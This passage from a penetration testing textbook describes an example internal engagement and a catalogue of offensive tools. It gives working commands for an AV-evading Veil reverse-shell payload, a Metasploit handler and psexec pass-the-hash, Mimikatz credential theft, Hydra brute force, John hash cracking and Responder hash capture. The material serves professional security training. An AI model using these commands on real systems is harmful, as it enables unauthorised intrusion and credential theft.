SMB login with the smb_login Metasploit module against all the hosts in the newly
created list, with the local administrator hash, and the Domain set to WORKGROUP.
Each host that responds with a successful login would be a viable target for a PtH
attack. The assessor has to find a host with new information or critical data that
would be beneficial for the engagement to move forward. Since the assessor has a
foothold on the network through the Windows XP box, he/she would just need to
find out who the Domain Administrators are and where they are logged in.

[ 17 ]

Understanding the Penetration Testing Methodology

So, he/she would query members of the Domain Admins group from the Domain
that the Windows XP host was attached to with the enum_domain_group_users
Metasploit module. The assessor could then identify where the Domain Admins
were logged into with the community Metasploit module called loggedin_users
or the built-in modules called psexec_loggedin_users or enum_domain_users.
Hosts that had responded with a successful login message from the smb_login
module would be tested with either of the modules and the relevant domain name.
The hosts that responded with the username of one of the Domain Administrators
on it would be the best place to exploit. The assessor could then execute a PtH attack
and drop a payload on the box with the psexec Metasploit module. This would be
done with the same local administrator hash and domain set to WORKGROUP.
Once a foothold was established on that system, the assessor can determine whether
the Domain Administrator was logged into the system currently or had done so
in the past. The assessor could query the system and identify the currently logged
in users, and if they were active. If the user was currently active in the session, the
assessor could set up a key logger with Metasploit and lock the screen with the
smartlocker module. This used to be broken up into multiple modules in the past,
but today, we are efficient. When the user unlocked the screen, he/she would enter
the credentials for the account and in turn provide them to the assessor.
If the user was not currently active, the assessor could try and extract the credentials
from memory with tools like Mimikatz, by loading the capability into the
Meterpreter session with load mimikatz and running wdigest. If no credentials
were in memory, the assessor could try and impersonate the user by stealing a
token that remained in memory for the cached credentials by loading the Incognito
tool into Meterpreter with the load incognito command. Using this access, the
assessor could then create a new user on the domain and then add the user to the
Domain Admins group on Domain Controller. To identify the applicable domain
controller, the assessor would ping the domain name, which would respond with
the IP of the DC.
Finally, the assessor could create his/her new malicious user with the add_user
command and add_group_user to the Domain Admins group pointed to the DC
IP with the -h flag. This Domain Administrator may provide additional accesses
around the network or have the ability to create and/or modify an additional
account with the relevant accesses as needed. As you can see in these steps, there
were multiple examples of the three phases that repeat. Go through the following
list to see how each activity applies to a specific phase:
1. Identify Windows XP host (vulnerability analysis).
2. Determine whether the Windows XP host is vulnerable to MS08-067
(vulnerability analysis).
[ 18 ]

Chapter 1

3. Exploit the Windows XP host with Metasploit's MS08-067 exploit

(exploitation).
4. Extract hashes from Windows XP hosts (post exploitation).
5. Scan all other hosts for SMB over IP or port 445 (vulnerability analysis).
6. Execute an SMB login with the local administrator hash to identify
vulnerable hosts (vulnerability analysis/exploitation).
7. Query Domain Controller for members of the Domain Admins group on the
Windows XP system (post exploitation).
8. Identify logged in users on systems with the same local administrator hash as
the Windows XP box, to identify where a Domain Administrator is logged in
(exploitation/post exploitation).
9. Execute a PtH attack against systems with Domain Admins that are
logged in (exploitation).
10. Determine what state of activity the Domain Administrator is on the box
(post exploitation):

If logged in currently, set up a key logger (post exploitation)

Lock the screen (exploitation/post exploitation)

If the credentials are in memory, steal them with Mimikatz, which is

a tool that we highlight below (post exploitation)

If tokens are in memory from a cached session steal them with

Incognito (post exploitation)

11. Identify Domain Controller by pinging Domain (vulnerability analysis).

12. Create a new user on Domain Controller from the compromised system
(post exploitation).
13. Add the new user to the Domain Admins group from the compromised
system (post exploitation).
14. Identify new locations of critical data that can be accessed (vulnerability
analysis).
Now, experienced assessors will often complete the necessary activity related to the
vulnerability analysis and catalog the data early if they can. So, creating lists of hosts
with port 445 open, the DC IP address, and other details would have been done
early on in the assessment. This way if the engagement is part of a Double Blind
assessment, the assessor can move quickly to gain privileged access before he/she is
caught. Now that the methodology and organization of an assessment has been laid
out, we need to look at what tools are used currently.

[ 19 ]

Understanding the Penetration Testing Methodology

Penetration testing tools

The following are some of the most common tools used during an engagement,
with examples of how and when they are supposed to be used. Many of these tools
are further explained, with additional examples after Chapter 2, The Basics of Python
Scripting. We cannot cover every tool in the market, and the specific occurrences for
when they should be used, but there are enough examples here to provide a solid
foundation of knowledge. More than one line may be needed to display command
examples that are extra-long, in this book. These commands will have the \ character
to designate a new line. If these commands are copied and pasted, they will function
just fine because in Linux and Unix, a command is continued after a carriage return.
These have also been organized on the basis of what you will most likely get the
most use out of. After reviewing these tools, you will know what is in the market and
see the potential gaps where custom Python scripts or tools may be needed. Often,
these scripts are just bridging agents to parse and output the details needed in the
correct format. Other times, they automate tedious and laborious processes; keep
these factors in mind as you read ahead.

NMAP
Network Mapper (Nmap) is one of the first tools that were created for
administrators and security professionals. It provides some of the best capabilities in
the industry to quickly analyze targets and determine whether they have open ports
and services that could be exploited. Not only does the tool provide us as security
professionals additional capabilities related to Luna scripts, which can act as a small
VMS, but they also provide the means to exploit a system.
As if all this was not enough to make Nmap a staple for assessors' and engineers'
toolkits, the Nmap Security Scanner Project and http://insecure.org/ have set
up a site for people who need to run a few test scans a day at http://scanme.nmap.
org/. In addition to allowing new assessors a chance to execute a couple of scans a
day, this site is good to see what ports are accessible from within an organization.
If you want to test this out yourself, try a standard full connection Transmission
Control Protocol (TCP) port scan against the site. Additional details related to Nmap
will be discussed in Chapter 3, Identifying Targets with Nmap, Scapy, and Python. The
following example shows how to do one against the top 10 ports open on the Internet
(please read the advisory on their website prior to executing this scan):
nmap sT vvv --top-ports 10 oA scan_results scanme.nmap.org

[ 20 ]

Chapter 1

Metasploit
In 2003, H.D. Moore created the famous Metasploit Project, originally coded in Perl.
By 2007, the framework was recoded completely in Ruby; by October 2009, he sold it
to Rapid7, the creators of Nexpose. Many years later, the framework is still a freely
available product thanks to stipulations of the sale made by H.D. Moore. From the
framework, Rapid7 has created a professional product, aptly called Metasploit Pro.
The Pro solution has a number of features that the framework does not, such as
integration into Nexpose, native Intrusion Prevention System (IPS) bypassing
payloads, a web Graphical User Interface (GUI), and multiuser capability. These
extra features come at a substantial price, but depending on your market, some
customers require all tools to be paid for, so keep the Pro version in mind. If you
have no need to pay for Metasploit, and the additional features are not needed, the
framework will suffice.
Remember that the IPS bypass tool within Metasploit Pro has a number of different
evasion methods built in. One of the features is that the structure of the exploit
code is slightly different each time. So, if the IPS bypass fails one time, it may work
a second time against the same host by just rerunning it. This does not mean that
if you run it 10 different times, you are going to get it right the 10th time if the first
nine failed. So, be aware and learn the error messages related to psexec and the
exploitation of systems.
An entire assessment can be run from Metasploit if needed; this is not suggested, but
the tool is just that capable. Metasploit is modular; in fact, the components within
Metasploit are called modules. There are broad groupings of modules, broken out
into the following:

Auxiliary modules

Exploit modules

Post modules

Payload modules

NOP modules

Encoder modules

Auxiliary modules include scanners, brute forcers, vulnerability assessment tools,

and server simulators. Exploits are just that, tools that can be run to exploit an
interface service or another solution. Post modules are intended to elevate privileges,
extract data, or interact with the current users on the system. Payloads provide an
encapsulated delivery tool that can be used once access to a system is gained. When
you configure an exploit module, you typically have to configure a payload module
so that a shell will be returned.
[ 21 ]

Understanding the Penetration Testing Methodology

No Operation (NOP) modules generate operations that do nothing for specific

hardware architectures. These can be very useful when creating or modifying
exploits. The last module type in Metasploit is the Encoder module. There is a huge
misunderstanding with encoders and what they are used for. The reality is they are
used to make the execution of payloads more reliable by changing the structure of
the payload to remove certain types of characters. This reformats the operational
codes of the original payload and makes the payload larger, sometimes much larger.
Occasionally, this change in the payload structure means that it will bypass IPS
that relies strictly on specific signatures. This causes many assessors to believe that
the encoding was for bypass antivirus; this is just a by-product of encoding, not
the intent. Today, encoding rarely bypasses enterprise grade IPS solutions. Other
products like Veil provide a much more suitable solution to this quagmire. Since
most exploits can reference external payloads, it is best to look to external solutions
like Veil even if you are using the Pro version of Metasploit. There will be times
when the Metasploit Pro's IPS bypassing capability will not work; during such times,
other tools may be needed. Metasploit will be covered in detail in the other chapters
of this book.

Veil
This antivirus evasion suite has multiple methods to generate payloads. These
payload types utilize methods that experienced assessors and malicious actors
have used manually for years. This includes encrypting payloads with Advanced
Encryption Standard (AES), encoding them, and randomizing variable names. These
details can then be wrapped in PowerShell or Python scripts to make life even easier.
Veil can be launched by a Command Line Interface (CLI) or a console similar to
Metasploit. For example, the following command shows the usage of the CLI that
creates a PyInjector exploit, which dials back to the listening host on port 80; make
sure that you replace "yourIP" with your actual IP if you wish to test this.
./Veil.py -l python -p AESVirtualAlloc -o \
python_payload --msfpayload \
windows/Meterpreter/reverse_tcp --msfoptions \
LHOST=yourIP LPORT=80

Now, go ahead and launch your Metasploit console and start up a listener with the
following commands. This will launch the console; make sure that you wait for it
to boot up. Further, it sets up a listener on your host, so make sure that you replace
"yourIP" with your actual IP address. The listener will run in the background waiting
for the returned session.
msfconsole
[ 22 ]

Chapter 1
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 80
set lhost yourIP
exploit -j

Move the payload over to a target Windows system and run the payload. You should
see a session generated on your Kali host as long as there are no configuration issues,
no other services running on the listening host's port 80, and nothing blocking the
connection to port 80 between the exploited host and the listener.
So, if you have these custom exploits, how do you use them with real Metasploit
exploits? Simple, just adjust the variable to point to them. Here is an example using
the psexec module in Metasploit. Make sure that you change the targetIP to the
target Windows system. Set the username of the local administrator on the system
and the password of the local administrator on the system. Finally, set the custom
EXE path to your python_paload.exe and you should see a shell generated over
your listener.
use exploit/windows/smb/psexec
set rhost targetIP
set SMBUser username
set password password
set EXE::Custom /path/to/your/python_payload.exe
exploit -j

Burp Suite
Burp Suite is the standard when it comes to transparent proxies, or tools used
to directly interact and manipulate streams of web traffic sent to and from your
browser. This tool has a pro version, which adds a decent web vulnerability scanner.
Care should be taken when using it, as it can cause multiple submissions of forums,
e-mails, and interactions.
The same can be said with its Spider tool, which interacts with scoped web
applications and maps them similar to web crawlers like Google and Bing. Make
sure that when you use tools like these, you disable automatic submissions and
logins initially, till you better understand the applications. More about Burp and
similar web tools will be covered in Chapter 6, Assessing Web Applications with Python.
Other similar tools include Zed Attack Proxy (ZAP), which now also contains the
unlinked folder and file researching tool called DirBuster.

[ 23 ]

Understanding the Penetration Testing Methodology

Hydra

Hydra is a service or interface dictionary attack tool that can identify viable
credentials that may provide access. Hydra is multithreaded, which means that it can
assess services with multiple guesses in tandem, greatly speeding the attack and the
noise generated. For example, the following command can be used for attacking a
Secure Shell (SSH) service on a host with the IP address of 192.168.1.10:
hydra -L logins.txt -P passwords.txt -f -V 192.168.1.10 ssh

This command uses a username list and a password list, exits on the first success,
and shows each login combination attempted. If you wanted to just test a single
username and password, the command changes to use lowercase l and p,
respectively. The corresponding command is as follows:
hydra -l root -p root -f -V 192.168.1.10 ssh

Hydra also has the ability to run brute force attacks against services and an
authentication interface of a website. There are many other tools in the industry
that have similar capabilities, but most assessors use Hydra because of its extensive
capabilities and protocol support. There are occasions where Hydra will not fit
the bill, but usually, other tools will not meet the need either. When this happens,
we should look at creating a Python script. Additional details related to credential
attacks are covered in Chapter 4, Executing Credential Attacks with Python.

John the Ripper

John the Ripper (JtR), or John as most people call it, is one of the best crackers on
the market, which can attack salted and unsalted hashes. One of the biggest benefits
of John is that it can be used with most hashes. John has the ability to identify hash
types from standard outputs and file formats. If run natively by providing just the
hash file and no arguments, John will try and crack the hashes with its standard
methodology. This is first attempted in the single crack mode, then the wordlist
mode, and then finally, the incremental mode.
Downloading the example code
You can download the example code files from your account at
http://www.packtpub.com for all the Packt Publishing books
you have purchased. If you purchased this book elsewhere, you can
visit http://www.packtpub.com/support and register to have
the files e-mailed directly to you.

[ 24 ]

Chapter 1

A salt is the output of a pseudorandom number generator

(PRNG) that has been encoded to produce relatively random
characters. The salt is injected into the process that hashes the
passwords, which means that each time, a password is hashed, it is
done so in a different format. The salt is then stored with the hash
so that the comparison algorithm for the credentials input during
authentication will be able to function as input credentials need to
have the same salt to produce the same hash. This adds additional
entropy to the hashing algorithm, which provides additional
security and mitigates most rainbow table attacks.

A single crack attack takes information from the hash file, mangles the clear text
words, and then uses the details as passwords along with some other rule sets. The
wordlist mode is just that; it uses the default word list. Finally, the incremental mode
runs through each character possibility in a brute force format attack. It is best to
use a standalone cracking server running oclHashcat if you really need a relative
incremental or brute force mode-style attack.
Password crackers work in one of the following two methods: by
taking the test password and hashing it in real time, or by taking
precomputed hashes and comparing them against the test hash.
Real-time hash attacks allow an assessor to crack passwords that
have been salted or unsalted during the original hashing process.
Precomputed hash attacks have the benefit of being much faster,
but they fail against salted passwords unless the salt was known
during the precomputation period. Precomputed attacks use
chained tables called rainbow tables. Real-time password attacks
use either dictionaries or lists of words that may be mutated
in real time or incremented in each character positions with
different character sets. This describes dictionary attacks and
brute force attacks, respectively.

The following is the example of running John against a hash file, from within the
John folder if hashfile is located there.
./john hashfile

To run John in the single mode against hashfile, run the following command:
./john --single hashfile

To run John as with a word list, use the following command:

./john --wordlist=password_list hashfile

[ 25 ]

Understanding the Penetration Testing Methodology

You can permutate and substitute the characters natively by running rules at the
same time.
./john --wordlist=password_list --rules hashfile

John's real power comes from being able to be used on engagements from most
systems, having strong permutation rules, and being very user friendly. John excels
at cracking most standard OS password hashes. It can also easily represent the
details in a format that is easy to match back to usernames and the original hashes.
In comparison to John, oclHashcat does not have a native
capability to match the cracked details with the original data in a
simple format. This makes it more difficult to provide password
cracking statistics related to unique hashes. This is particularly
true when the supplied hashes might be extracted from multiple
sources and tied to the same account as they may be adjusted
with different salts. Keep this in mind as most organizations
would like to have cracking statistics in the final report.

The following command demonstrates how to show the password cracking results
with John:
./john --show hashfile

One of John's unique capabilities is the ability to generate permutated passwords

from a list of words, which can help build solid cracker lists, particularly when used
with Cewl. Here is an example of how to create a permutated password list with
John, with only unique words:
./john --wordlist=my_words --rules --stdout | unique my_words_new

Cracking Windows passwords with John

The biggest bang for your buck using John is for cracking passwords that have been
hashed in the Local Area Network (LAN) Manager (MAN) or (LM) format. LM
hashes are a weak form of hashes that can store a password of up to 14 characters
in length. The passwords are split into two components of up to seven characters in
length each and in the uppercase format. When cracking this type of hash, you have
to crack the LM hashes that you have in order to convert the two components of the
uppercase password into a single password in the proper case.

[ 26 ]

Chapter 1

We do this by cracking the LM hash and then taking this cracked password and
running it through John as a wordlist with the permutation rules enabled. This
means that the password will be used as a word to attack the New Technology LM
(NTLM) hash in different formats. This allows NTLM hashes, which are significantly
stronger, to be cracked much faster. This can be done relatively automatically with
a Perl script called LM2NTCRACK, but you can do it manually with John with great
success as well.
You can create a test hash with a password that you like from websites such as

http://www.tobtu.com/lmntlm.php. I generated a pwdump format from the

password of test, and changed the username to Administrator.

Administrator:500:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A8280
7973B89537:::

Make sure that you use the password that you copy as one line and place it into a
file. The following commands are designed on the basis of the idea that the hash file
is named hashfile and has been placed in the John directory, where the test is being
run from.
./john --format=lm hashfile

Once the password has been cracked, you can copy it directly from the output and
place it in a new file called my_wordlist. You can also show the password from the
cracked hashes by using the command already demonstrated. An easy way to place
the password in a file is to redirect an echo into it.
echo TEST > my_wordlist

Now, use this wordlist to execute a dictionary attack with rules running against the
input data to permutate the word. This will allow you to find the properly cased
password.
./john -rules --format=nt --wordlist=my_wordlist hashfile

The following screen capture highlights the cracking of this hash by using the
techniques described earlier:

[ 27 ]

Understanding the Penetration Testing Methodology

oclHashcat
If you have a dedicated password cracker, or a system with a strong Graphics
Processing Unit (GPU), oclHashcat is the way to go. The tool can quickly crack
password hashes by taking advantage of the insane processing power available to
the right audience. The big thing to keep in mind is that oclHashcat is not as simple
or intuitive as John the Ripper, but it has strong brute force capabilities. The tool
has the capability to be configured with wildcards, which means that the password
dynamics for cracking can be very specific.
The version of oclHashcat that supports cracking without GPU is
called Hashcat. This cracking tool is quickly surpassing John when
it comes to password cracking, but it takes a good bit more research
and training to use. As you gain experience you should move to
cracking with Hashcat or oclHashcat.

Ophcrack
This tool is most famous as a boot disk attack tool, but it can also be used as a
standalone Rainbow Cracker. Ophcrack can be burned directly to a bootable
Universal Serial Bus (USB) drive or Compact Disk (CD). When placed in a
Windows system without Full Disk Encryption (FDE), the tool will extract the
hashes from the OS. This is done by booting into a LiveOS or an OS that runs in
memory. The tool will try and crack the hashes with rudimental tables. Most of the
time, these tables fail, but the hashes themselves can be securely copied off the host
with SSH to an attack box. These hashes can then be cracked offline with tools such
as John or oclHashcat.

Mimikatz and Incognito

These tools both can work natively within a Meterpreter session, and each provides
a means to interact and take advantage of a session on a Windows host. Incognito
allows an assessor to interact with a token in memory by impersonating the user's
cached credentials. Mimikatz allows an assessor to directly extract the credentials
stored in memory, which means that the username and password are directly
exposed. Mimikatz has the additional ability to run against memory dumps offline
produced with tools such as SysInternals ProcDump.
There are many versions of Mimikatz and the one within the
Meterpreter is the example we are covering in this book.

[ 28 ]

Chapter 1

SMBexec
This tool is a suite of tools developed in Ruby, which uses a combination of PtH
attacks, Mimikatz, and hash dumping to take advantage of a network. SMBexec makes
taking over a network very easy as it provides a console interface and only requires
an initial hash and username or credential pair, and a network range. The tool will
automatically try and access resources, extract the details about any credentials in
memory, cached details, and stored hashes. The catch with SMBexec is that Ruby Gem
inconsistencies can cause this tool to be temperamental, and it can cause other tools
such as Metasploit and even entire Kali instances to break. If you are going to use
SMBexec, always create a separate VM with the specific goal to run this tool.

Cewl
Cewl is a web spidering tool, which parses words from a site, uniquely identifies
their instances, and outputs them into a file. Tools like Cewl are extremely useful
when developing custom targeted password lists. Cewl has a number of capabilities
to include targeted searches for details and limitations for the depth that the tool will
dig to. Cewl is Ruby based and often has the same problems that SMBexec and other
Ruby products do with Gems.

Responder
Responder is a Python script that provides assessors the ability to redirect proxy
requests to an attacker's system through a misconfiguration of Web Proxy
AutoDiscovery (WPAD). It can also receive network NTLM or NTLMv2 challenge
response hashes. This is done by taking advantage of the natively enabled Local
Link Multicast Name Request (LLMNR) and Network Basic Input Output System
(NetBIOS) Name Service (NB-NS).
Responder usage is very simple; all that a user has to do is be on a network drop
within the same broadcast domain as his targets. Executing the following command
will create a pop-up window in the user's Internet Explorer session. It will request
his/her domain credentials to allow him/her to move forward; this attack also
means NTLMv2 protected hashes will be provided from attacks against LLMNR
and NB-NS requests. Make sure that you swap "yourIP" with your actual IP address.
python Responder.py -I yourIP -w -r -f -v -F

You can also force web sessions to return basic authentication instead of NTLM
responses. This is useful when WPAD looks like it has been mitigated in the
environment. This means that you will typically receive NTLMv2 challenge
response hashes from attacks against LLMNR and NB-NS requests.
python Responder.py -I yourIP -r -f -v -b
[ 29 ]

Understanding the Penetration Testing Methodology

Responder attacks have become a mainstay in most internal assessments. WPAD,

LLMNR, and NB-NS are rampant misconfigurations in most environments and
should be assessed when possible. These vulnerabilities are commonly manipulated
by both assessors and malicious actors.

theHarvester and Recon-NG

These tools are specifically focused on identifying data related to Open Source
Intelligence (OSINT) gathering. The theHarvester tool is Python based and does
a decent job of finding details from search engines and social media, but ReconNG is the new kid on the block. Recon-NG is a console-based framework that was
also created in Python, which can query a number of information repositories. This
expanded capability means that Recon-NG is often the first tool that assessors go to
now. Recon-NG has not replaced theHarvester, but theHarvester is often not used
unless Recon-NG has not found sufficient details.

pwdump and fgdump

These tools are old in comparison to most tools like Mimikatz, but they are well
known in the industry, and many password cracking tools are based on their
output format. In fact, Metasploit's hashdump and smart_hashdump output the
system hashes in what is known as the pwdump format. These hashes can be directly
extracted from the session placed in a file and run through John by using the native
command examples provided earlier.

Netcat
Netcat or network concatenate, also known as nc, is one of the oldest forms of
assessment and administrative tools. It is designed to interact with ports and services
directly by providing an IP address, a port, and a protocol. It can also transmit files and
establish sessions from host to host. Because of all the capabilities of this tool, it is often
known as the digital Swiss Army Knife, used by assessors and administrators alike.
SANS Institute has a fantastic cheat sheet for netcat that
highlights the majority of its capabilities, which can be
found at the following URL:
http://pen-testing.sans.org/retrieve/
netcat-cheat-sheet.pdf

[ 30 ]

Chapter 1

Sysinternals tools
This tool suite was originally developed by Wininternals Software LP, Austin, Texas.
These tools provide administrators and other professionals capabilities to handle,
maintain, and control Windows systems in a large domain. The features that these
tools provide are not natively built into Windows; Microsoft recognized this and
purchased the company in 2006. These tools are free and open to the public, and it
should be noted that many hacking tools have been built on the concepts originally
created within this suite.
Some examples of tools used from this suite include procdump to dump memory
and extract credentials. The psexec tool executes a PtH or perform remote process
execution to establish a session with a remote host, and provides process interaction
and listing capabilities with pskill or pslist. It should be noted that these tools are
used by administrators and are typically white-listed. So, while many hacking tools
are blocked by IPS, these are usually not. So, when all else fails, always think like a
malicious administrator, because taking advantage of these capabilities is the crux
of what most malicious actors do.

Summary
This chapter focused on discussing and defining penetration testing and why it is
needed. On the basis of this definition, the PTES framework is described, which
provides a new assessor the means to build his/her knowledge within a context
of what an actual engagement would look like. To validate this knowledge, we
explored how an example engagement breaks out across the major execution phases.
Finally, the major tools used in a variety of assessments are listed and explained,
many of which will be further explained with realistic examples in the following
chapters. Now that you have an understanding about penetration testing and its
methodology, we are going to start learning how powerful Python really is and
how easy it is to get it up and running.

[ 31 ]

Get more information Learning Penetration Testing with Python

Where to buy this book

You can buy Learning Penetration Testing with Python from the
Packt Publishing website.
Alternatively, you can buy the book from Amazon, BN.com, Computer Manuals and most internet
book retailers.
Click here for ordering and shipping details.

www.PacktPub.com

Stay Connected: